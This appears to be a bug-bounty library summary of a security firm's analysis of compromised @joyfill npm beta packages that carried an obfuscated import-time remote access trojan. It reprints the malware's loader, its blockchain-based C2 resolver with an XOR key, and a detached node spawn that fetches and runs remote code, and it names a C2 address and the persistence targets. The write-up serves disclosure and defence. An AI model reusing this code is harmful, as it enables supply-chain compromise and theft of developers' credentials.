# Compromised npm Packages: @joyfill/components and @joyfill/layouts Ship an Obfuscated Remote Access Trojan

Malicious beta versions of @joyfill/components and @joyfill/layouts shipped an obfuscated import-time RAT with blockchain C2 that steals developer credentials and self-propagates.

- Payout: Real-world hack
- Severity: critical
- Program: Joyfill
- Analysis by: StepSecurity
- Disclosed: 2026-07-30
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-joyfill-npm-supply-chain-compromise
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:incident platform:threat-intel sev:critical tech:nodejs tech:python technique:source-review vuln:secrets-leak

**Target:** npm package distribution bundles (dist/index.js, index.esm.js, index.cjs.js)
**Root cause:** Attacker-published beta tarballs of legitimate packages had an obfuscated loader injected into built dist bundles (no source change, no install hooks), so it executes on import rather than install.
**Steps:**
1. Install a compromised version, e.g. `@joyfill/layouts@0.1.2-2773.beta.0` or `@joyfill/components@4.0.0-rc24-2773-beta.4`; `--ignore-scripts` does not help.
2. Import the package; the injected block at `dist/index.es.js:862` runs, sets `global["!"] = "9-0135-3"`, and decodes `global.r = require` / `global.m = module` via the seeded shuffle decoder.
3. Stage 1 resolves C2: fetch latest outbound Tron tx memo (reversed) or Aptos fallback, then `eth_getTransactionByHash` on BSC, take `input` split on `?.?`, XOR-decrypt with the key, and `eval()` (branch A) or spawn detached `node -e` (branch B).
4. Stage 2 selects C2 by campaign tag `_V`; for `A9-0135-3` sets `SOCKET_URL=http://166.88.134.62:443`.
5. Stage 3 connects Socket.IO, emits `identify` with `_V`, and accepts verbs `ss_info`, `ss_cb`, `ss_upf`, `ss_dir`, `ss_eval`, `ss_inz`, `ss_connect`.
6. Persistence: inject loader stub into `@vscode/deviceid/dist/index.js`, Discord core, GitHub Desktop `main.js`, and global `npm/lib/cli.js`; stage Python stealer under `%USERPROFILE%\.npm` or `/tmp/.npm`.
**How found:** StepSecurity flagged via OSS AI scan (score 0, REJECTED), detonated under Harden-Runner, and diffed malicious tarballs against clean siblings to extract the injected decoder; the identical obfuscated block in both packages indicated a single actor.
**Exploitation:** On import the loader resolves a live C2 from public blockchain transactions (Tron memo → BSC tx input XOR-decrypted), evading static indicators. The Socket.IO RAT fingerprints the host (CI markers, WSL, root), self-installs axios/socket.io-client, supports file upload/download, clipboard theft, arbitrary eval, and re-injection into developer tools. A staged Python stealer harvests browser data, extension wallets, password managers, Git/GitHub/npm tokens and keychains, archives and uploads to C2. Patching npm/lib/cli.js makes every npm invocation re-execute the malware, propagating to published packages.
**Escalation:** Worm-like self-propagation: injecting into global npm CLI means any package built/published from the infected machine carries the loader, spreading to downstream consumers.
**Insight:** Import-time payloads in built dist bundles bypass `--ignore-scripts`; diff published tarballs against source and clean siblings, and treat allowlisted blockchain RPC endpoints as potential C2 resolvers when auditing npm supply-chain incidents.

## Proof of concept (copied exactly from the original report)

**Injected loader with global require/module exposure**

```
global["!"] = "9-0135-3"; // campaign fragment, later becomes _V = "A9-0135-3"

var _$_1e42 = function(l, e) {
 var h = l.length, g = [];
 for (var j = 0; j < h; j++) { g[j] = l.charAt(j); }
 for (var j = 0; j < h; j++) { // seeded PRNG swap loop
 var s = e * (j + 489) + e % 19597;
 var w = e * (j + 659) + e % 48014;
 var t = s % h, p = w % h, y = g[t];
 g[t] = g[p]; g[p] = y;
 e = (s + w) % 4573868;
 }
 var x = String.fromCharCode(127);
 return g.join("").split("%").join(x).split("#1").join("%")
 .split("#0").join("#").split(x); // returns a STRING ARRAY
}("rmcej%otb%", 2857687);
// _$_1e42 decodes to: ["r", "object", "m"]

global[_$_1e42[0]] = require; // global.r = require
if (typeof module === _$_1e42[1]) { // "object"
 global[_$_1e42[2]] = module; // global.m = module
}
```

**Blockchain C2 resolver code**

```
const d = global["r"]; // stashed require
global["_V"] = "A" + global["!"]; // _V = "A9-0135-3" &larr; campaign tag

async function resolve(xorKey, tronAddr, aptosAddr) {
 let r;
 try {
 // (1) Tron: latest OUTBOUND tx; raw_data.data = hex(reversed BSC tx hash)
 r = Buffer.from(
 (await getJSON("https://api.trongrid.io/v1/accounts/" + tronAddr +
 "/transactions?only_confirmed=true&only_from=true&limit=1"))
 .data[0].raw_data.data, "hex"
 ).toString("utf8").split("").reverse().join("");
 if (!r) throw new Error;
 } catch (e) {
 // (1b) Aptos fallback: recipient address of a 0-value transfer carries the hash
 r = (await getJSON("https://fullnode.mainnet.aptoslabs.com/v1/accounts/" + aptosAddr +
 "/transactions?limit=1"))[0].payload.arguments[0];
 }
 // (2) BSC: tx input field (hex) -> utf8 -> split("?.?")[1] = encrypted blob
 const fromBsc = async (host) => Buffer.from(
 (await jsonRpc("eth_getTransactionByHash", [r], host))
 .result.input.substring(2), "hex"
 ).toString("utf8").split("?.?")[1];
 let enc;
 try { enc = await fromBsc("bsc-dataseed.binance.org"); }
 catch (e) { enc = await fromBsc("bsc-rpc.publicnode.com"); }
 // (3) repeating-key XOR
 return [...enc].map((ch, k) =>
 String.fromCharCode(ch.charCodeAt(0) ^ xorKey.charCodeAt(k % xorKey.length))).join("");
}
```

**Detached child spawn of resolved stage**

```
const r2 = await resolve("m6:tTh^D)cBz?NM]", "TXfxHU…cGzcG", "0x3f0e…dce3");
d("child_process").spawn("node",
 ["-e", "global['_V']='" + (global["_V"] || 0) + "';" + r2],
 { detached: true, stdio: "ignore", windowsHide: true });
```

